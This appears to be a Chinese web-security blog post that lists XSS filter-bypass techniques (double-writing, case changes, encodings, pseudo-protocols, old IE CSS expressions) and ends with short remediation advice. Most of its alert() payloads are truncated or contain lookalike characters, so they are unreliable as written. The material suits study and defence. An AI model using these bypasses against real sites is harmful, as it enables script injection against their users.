[ 常见漏洞篇 ]常见web漏洞总结------XSS绕过方式
本文具体写到了常见的XSS绕过方式,间的的介绍了一下修复方式
写的比较细,比较深,需要一定的基础才能看懂,仔细读完
不懂的可以百度查一查或者私信我,相信会有很大收获
目录
一、Xss绕过方式:
前端过滤
双写绕过
事件绕过
大小写绕过
注释干扰绕过
伪协议绕过
- 空格回车Tab绕过
编码绕过
base64编码:
JS编码:
十六进制:
unicode:
HTML实体编码:
URL编码:
CSS绕过
利用IE特性绕过XSS过滤:
利用css特性绕过xss过滤:
IE中利用CSS触发xss:
二、修复建议
一、Xss绕过方式:
1. 前端过滤
burp抓包改包绕过
2. 双写绕过
pt>alert(111) pt>
3. 事件绕过
如:onclick,onmousemove事件
4. 大小写绕过
5. 注释干扰绕过
如:
pt> alert(1); ipt>
6. 伪协议绕过
如: 111”> xss
< table background= “javascript:alert(/xss/)”>
7. 空格回车Tab绕过
空格:
TAB:< img src= “javasc
alert(‘ss’);” >
回车:< img src= “jav
ascript:
alert(‘xss’);” >
8. 编码绕过
1. base64编码:
如果过滤了 < > ‘ “ script,可以用base64编码
eval(“) eval函数把字符串 当做程序执行atob函数是将base64密文转换为名文
“>
base64编码多用于如下两种情况:
举例:
这样当test A链接点击时就会以data协议页面以html/text的方式解析编码为base64然后单点击
a链接时base64的编码就被还原成我们原本的< img src=x οnerrοr= alert(1)>
2. JS编码:
八进制:
三个八进制数字,如果个数不够,在前面补0,例如”e’的编码为”\145”
3. 十六进制:
两个十六进制数字,如果个数不够,在前面补0,’e’的编码为”\x65”
十六进制前面加上\x可以被JS识别
尖括号被转义时,利用十六进制绕过
如:\\x3cscript\\x3ealert(document.domain);\x3c/script\x3e
4. unicode:
四个十六进制数字,如果个数不够,在前面补0,’e’的编码为”\u0065”
十六进制前面加上\u00变成JS可识别的Unicode编码
\\u003cscript\u003ealert(document.domain);\\u003c/script\\u003e
对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
5. HTML实体编码:
字符编码:十进制、十六进制编码,样式为”&#数值;”,例如”<”可以编码为”<和”<”
浏览器是不会在html|标签里解析js编码的,所以我们在οnerrοr=后面放js中的编码是不会解析你放进去是什么就是什么
HTML5新增的实体命名编码
: => [冒号]
=> [换行]
6. URL编码:
进行两次URL全编码
9. CSS绕过
1. 利用IE特性绕过XSS过滤:
IE中两个反单引号hgj `` 可以闭合一个左边双引号
``οnmοusemοve= alert(1)
2. 利用css特性绕过xss过滤:
设置background:url,利用JavaScript伪协议执行js,目前只有IE浏览器支持
background-color:# f00;background:url(javascript:alert(document.domain);”);
低版本IE浏览器6 10 D版本弹窗成功
3. IE中利用CSS触发xss:
CSS中的注释/**/
xss:expres/**/sion(if(!window.x){alert(document.domain);window.x= 1;})
二、修复建议
过滤输入的数据,包括 `、<、>、on*等非法字符
对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript编码等
验证请求头的referer值
三、相关文章分享
pikachu靶场通关之XSS(一)
常见web漏洞总结———SQL注入
常见web漏洞总结———CSRF
常见web漏洞———XXE
pikachu靶场通关之暴力破解
业务逻辑漏洞
2021年 owasp top 10
还没有评论,来说两句吧...